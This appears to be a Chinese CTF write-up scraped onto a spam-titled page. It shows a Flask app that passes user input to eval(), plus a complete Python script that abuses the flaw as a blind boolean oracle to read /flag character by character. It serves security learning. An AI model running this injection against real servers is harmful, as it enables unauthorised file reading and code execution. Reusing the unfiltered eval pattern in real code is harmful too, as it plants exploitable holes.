当前位置: 首页 > news >正文

做网站开发学什么语言好竞价网络推广

做网站开发学什么语言好,竞价网络推广,效果图公司,企业宣传册模板文案打开页面是这样的 初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对; 无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式&#xff0…

打开页面是这样的

初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对;

无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式,赋值新的表达式,没发现有什么问题,但是eval是个危险函数,前后端没有严格的过滤,这个可以利用,输入:(-497559)+(969608)+(-255632)+(587860)+(716596)  and 1==1 后提示Congratulations。source代码和实现代码如下


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)## flag is in /flag try to get it@app.route('/', methods=['GET', 'POST'])
def index():def filter(string):if "or" in string:return "hack"return stringif request.method == 'POST':input = request.form['input']create_question = create()input_question = session.get('question')session['question'] = create_questionif input_question==None:return render_template('index.html', answer="Invalid session please try again!", question=create_question)if filter(input)=="hack":return render_template('index.html', answer="hack", question=create_question)try:calc_result = str((eval(input_question + "=" + str(input))))if calc_result == 'True':result = "Congratulations"elif calc_result == 'False':result = "Error"else:result = "Invalid"except:result = "Invalid"return render_template('index.html', answer=result,question=create_question)if request.method == 'GET':create_question = create()session['question'] = create_questionreturn render_template('index.html',question=create_question)@app.route('/source')
def source():return open("app.py", "r").read()if __name__ == '__main__':app.run(host="0.0.0.0", debug=False)
import requests
import redef main():alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']url='ip'data={"input":""}s = requests.Session()flag = ''for i in range(0,100):for char in alphabet:try:r = s.get(url)question = re.search(r"<h4>(.*)</h4>", r.text.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)r = s.post(url, data=data)result = r.content.decode()if r"Congratulations" in result:flag += charprint(flag)breakexcept Exception as e:print("Exception: ", end='')print(e)
if __name__ == '__main__':main()

运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}

http://www.yayakq.cn/news/287192/

相关文章:

  • 打工网站校企合作建设2022华为云营销季
  • 注册公司网上核名网站怎样制作网页新手自学入门
  • 网站制作工具有哪些怎么访问被禁止的网站
  • 品牌网站建设内容框架郑州网站怎么推广
  • 微信微网站平台郑州建设网站报价
  • 网站推广软件免费怎样设置自己的网站
  • 公司网站的建设与运营管理制度网页设计电脑配置推荐
  • 河池公司网站开发价格湖北省京山县建设局网站
  • 重庆营销策划公司排名站长工具seo综合查询推广
  • 门户网站怎么做seo.net开发的网站能做优化吗
  • 北京网站建设制作哪家公司好自考大型网站开发工具
  • 广州seo网站推广费用硬件开发工程师招聘
  • 网站建设招聘兼职怎么用网站做淘宝客
  • 郑州网站建设公司咨询二级域名做网站好不好
  • 网站建设:中企动力重庆网站建设aiyom
  • 企业年底做网站的好处胶州网站搭建企业
  • 如何优化m网站网站制作宜昌怎么做?
  • 于都建设银行网站招聘网站解析ip地址
  • php 怎么做网站超链接做商城的网站程序
  • 软件公司网站广东建设企业网站怎么样
  • 可信网站认证logo商城类网站建设报价
  • 政务服务和数字化建设局网站广州做门户网站
  • 学校网站规划微信支付服务商平台
  • 做外贸方面的网站网站开发中如何设计验证码
  • 青海省交通建设管理局网站WordPress的数据库建表
  • 做去态网站要学什么语言vs做网站怎么做窗体
  • 深喉咙企业网站系统企业营销型网站应该有哪些内容
  • 学校网站建设方案及报价公司门户网站及oa系统建设的请示
  • 海北高端网站建设下载天马行市民云app
  • 企业网站模板 讲湖南岚鸿手机网页在线